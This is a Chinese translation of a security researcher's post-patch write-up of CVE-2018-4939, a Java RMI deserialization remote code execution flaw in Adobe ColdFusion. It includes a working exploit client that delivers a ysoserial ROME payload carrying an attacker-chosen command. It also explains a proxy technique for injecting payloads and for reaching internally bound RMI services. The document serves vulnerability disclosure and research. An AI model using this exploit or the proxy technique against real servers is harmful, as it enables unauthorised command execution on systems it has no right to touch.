ColdFusion再爆远程代码执行漏洞 CVE-2018-4939

YSN / 2018-08-20 18:56:54 / 浏览数 4232 技术文章 技术文章 顶(0) 踩(0)

原文地址：
https://nickbloor.co.uk/2018/06/18/another-coldfusion-rce-cve-2018-4939/

2017年10月，我发布了影响Adobe ColdFusion的Flex集成服务的Java RMI /反序列化漏洞的概述和视频PoC。我当时没有发布所有细节和利用代码，因为我还发现了一个对于打过补丁的服务器依然有效的漏洞利用方式。

Adobe现已发布了解决这个问题的安全更新 ，我也可以详细谈谈这个洞了。

RMI和java.lang.Object

Java远程方法调用（RMI）协议几乎是100%的Java序列化 。
当从RMI注册表服务请求对象并且在该对象上调用方法时，通过网络传输的数据采用Java序列化格式。 ColdFusion的Flex集成RMI服务公开以下类的对象：

```
coldfusion.flex.rmi.DataServicesCFProxy
```

该类可以在ColdFusion安装目录中的"libs / cfusion.jar"文件中找到，如下所示：

```
package coldfusion.flex.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.util.Map;

public abstract interface DataServicesCFProxy extends Remote
{
 public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
 public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException;
 public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException;
 public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
 public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolea
}
```

可以使用任何 Java对象作为参数调用这些方法之中的每一个。 请注意，List和Map等容器可以包含任何Java对象。
无需身份验证即可与此RMI服务进行交互，因此任何能够通过网络访问服务的人都可以向其提供任意Java对象，以尝试利用Java反序列化攻击（例如，通过提供ysoserial payload作为方法参数）。

不幸的是，没有一个ysoserial payload 对这个入口点起作用。
在我之前关于ColdFusion CVE-2017-11283和CVE-2017-11284的文章中，我谈到了如何修改ysoserial payload以成功利用此入口点并使用Mozilla Rhino JavaScript库获得远程命令执行。 在这种情况下，技术和入口点保持不变，但我们的目标是与ColdFusion捆绑在一起的ROME库（请参阅"libs / rome-cf.jar"）。

漏洞利用 - 简单的方法

以下是一个简单的RMI客户端程序，它从RMI注册表服务检索ColdFusion DataServicesCFProxy对象，然后使用null参数远程调用count()方法：

```
package nb.barmie.demo;

import coldfusion.flex.rmi.DataServicesCFProxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class CFRMIDemo {
 public static void main(String[] args) throws Exception {
   Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
   DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
   obj.count(null, null, null);
 }
}
```

count()方法的第二个参数是java.lang.Object数组，这意味着我们可以在该参数中提供任意对象，并且它们将在服务器上反序列化。
我们可以在运行时使用ysoserial来生成任意payload对象并将其传递给count()方法，但是ysoserial ROME payload与ColdFusion所捆绑在一起的ROME版本不兼容。 如果我们尝试这个，服务器会报错：服务器端类与通过网络发送过去的序列化对象不兼容。
这是由于serialVersionUID字段不匹配，类似于我之前在讲述针对Mozilla Rhino的攻击所描述的那样。

在2018年4月更新之前，利用ColdFusion RMI服务的最简单方法是重建ysoserial。 而不是针对ROME 1.0（依赖Maven）构建ysoserial，而是从ColdFusion安装目录中的“libs / rome-cf.jar”构建它。 完成后，可以使用以下代码生成和传递payload：

```
package nb.barmie.exploit.standalone;

import coldfusion.flex.rmi.DataServicesCFProxy;
import ysoserial.payloads.ROME;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class CFRMIExploit {
 public static void main(String[] args) throws Exception {
   Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
   DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
   obj.count(null, new Object[] {
     new ROME().getObject(args[2])
   }, null);
 }
}
```

使用以下参数运行漏洞利用：host，port，command。

漏洞利用 - BaRMIe方式！

在RMI安全性方面做了大量工作之后，我选择使用我的RMI枚举和攻击工具BaRMIe进行漏洞利用。 这是一个更复杂的利用方式，但也更强大。
我将在不久的将来发布这个版本的Exp，现在我将向那些对此感兴趣的人解释它是如何工作的！

RMI背景

远程方法调用涉及两个网络服务和两个不同的网络连接。
第一个网络服务是RMI注册服务，通常位于TCP端口1099上，它本质上是一个目录服务，其中Java对象引用绑定到名称。
以下的4行代码连接到10.0.0.30:1099上的RMI注册表服务，并请求绑定到名称为“Foo”的对象的引用：

```
public class RMIList {
 public static void main(String[] args) throws Exception {
   Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
   SomeClass obj = (SomeClass)reg.lookup("Foo");
 }
}
```

第二个网络服务用于与对象本身通信。 当对象绑定到RMI注册表中的给定名称时，主机和端口（可以在其中找到该对象）将被存储在注册表中。
当我们从RMI注册表检索对象引用时，RMI注册表服务返回的数据包括对象的网络服务的主机和端口。 以下的5行代码连接到RMI对象服务并调用某个方法someMethod()：

```
public class RMIList {
 public static void main(String[] args) throws Exception {
   Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
   SomeClass obj = (SomeClass)reg.lookup("Foo");
   obj.someMethod("String Param");
 }
}
```

中间人攻击

在我构建BaRMIe的过程中，我希望尽可能多地包含漏洞payload（POP小工具链），而不必与依赖项和多个版本的依赖项进行斗争。
我实现这一目标的方法是拥有硬编码的静态payload并在执行时生成动态部分（例如命令字符串和相应的长度字段）。
问题是，没有办法在RMI连接中原生地抽取任意字节。接收它们的服务器将反序列化这些字节。
为了实现这一点，我构建了一个代理框架，允许我在中间进行两个连接。它的工作原理如下：

启动RMI注册表代理，该代理将连接转发到目标RMI注册表

使用RMI注册表代理的主机和端口调用LocateRegistry.getRegistry()， 而不是 RMI注册表服务的主机和端口

通过RMI注册表代理调用Registry.lookup()（将请求转发给真正的RMI注册表服务）以检索远程对象引用

当RMI注册表代理检测到返回的远程对象引用时：

A. 它启动一个RMI方法代理，以将连接转发到真正的RMI对象服务

B. 它修改远程对象引用以指向新的RMI方法代理而不是真正的RMI对象服务

在远程对象引用上调用某个方法时，现在的连接走的是RMI方法代理

通过远程方法调用通过代理，我可以完全控制协议，我可以做一些Java虚拟机原本会阻止我操作的东西。
一个很好的例子是，一个远程方法本该接收java.lang.String类型的参数，不能提供任意对象参数。但是如果我们使用代理修改网络级别的出站远程方法调用，那么我们可以
使用RMI方法代理，我们可以以正常方式调用远程方法，使用占位符参数而不是payload对象。
当方法代理检测到表示该占位符对象的字节时，它可以用表示任意反序列化的payload的字节流替换这些字节

修复漏洞

当我第一次在ColdFusion安装目录中发现文件"libs / rome-cf.jar"时，我做的第一件事是试图在BaRMIe中创建一个利用。具体作法是以ysoserial的ROME payload为基础，使用RMI方法代理注入两个payload。 这两个都没有成功，但服务器的响应表明本地类是不兼容的，并给了我服务器端类的serialVersionUID。
通过多次修改我的payload以使其中的serialVersionUID值与服务器上的值相匹配，我再次实现了对ColdFusion的远程命令执行。

Bonus：攻击"内部"服务

对比我上面讲述的简单漏洞利用方式，下面的所有这些代理可能看起来很费劲，但实际上支持功能已经存在于BaRMIe中，因此开发此漏洞的Exp只需要半个小时。
在Java虚拟机限制之外使用控件还有一个额外的好处，远不止我上文涉及的，这点绝对值得再多说两句。 很多"内部" RMI服务实际上并不是内部的。
你可以将对象绑定到RMI注册表，并且可以将它们绑定到例如127.0.0.1或10.0.0.30甚至host.yourbusiness.local。
如果外部攻击者使用上面提到的简单漏洞利用方法，对任何这些对象的引用进行检索，结果是他们将无法攻击RMI服务，因为他们无法访问这些内部地址。
但是，默认情况下，RMI对象服务绑定到所有网络接口。 假设目标的外部地址是8.8.8.9，RMI注册表返回一个指向目标内部地址的对象引用，10.8.8.9：30001。
默认情况下，可以通过连接到外部地址8.8.8.9:30001上的同一端口来访问同一对象。
通过代理RMI注册表连接，我们可以检测到这一点并自动修改RMI连接，以启用对内部绑定的对象的攻击。

参考

我以前的ColdFusion漏洞的详细信息（ https://nickbloor.co.uk/2017/10/13/adobe-coldfusion-deserialization-rce-cve-2017-11283-cve-2017-11238/ ）
Adobe安全更新APSB18-14（ https://helpx.adobe.com/security/products/coldfusion/apsb18-14.html ）
攻击Java反序列化（ https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/ ）
ysoserial Java反序列化payload生成器（ https://github.com/frohoff/ysoserial ）
ROME库（ https://rometools.github.io/rome/ ）
BaRMIe RMI枚举和攻击工具（ https://github.com/NickstaDB/BaRMIe ）

标签：ColdFusion ， CVE-2018-4939 ， 反序列化 ， Java ， RCE ， 远程方法调用 ， RMI ， 序列化

上一篇：灰盒自动化漏洞挖掘实践 下一篇：RIPS源码精读(二):扫描对象的...

1. 0 条回复
   - 动动手指，沙发就是你的了！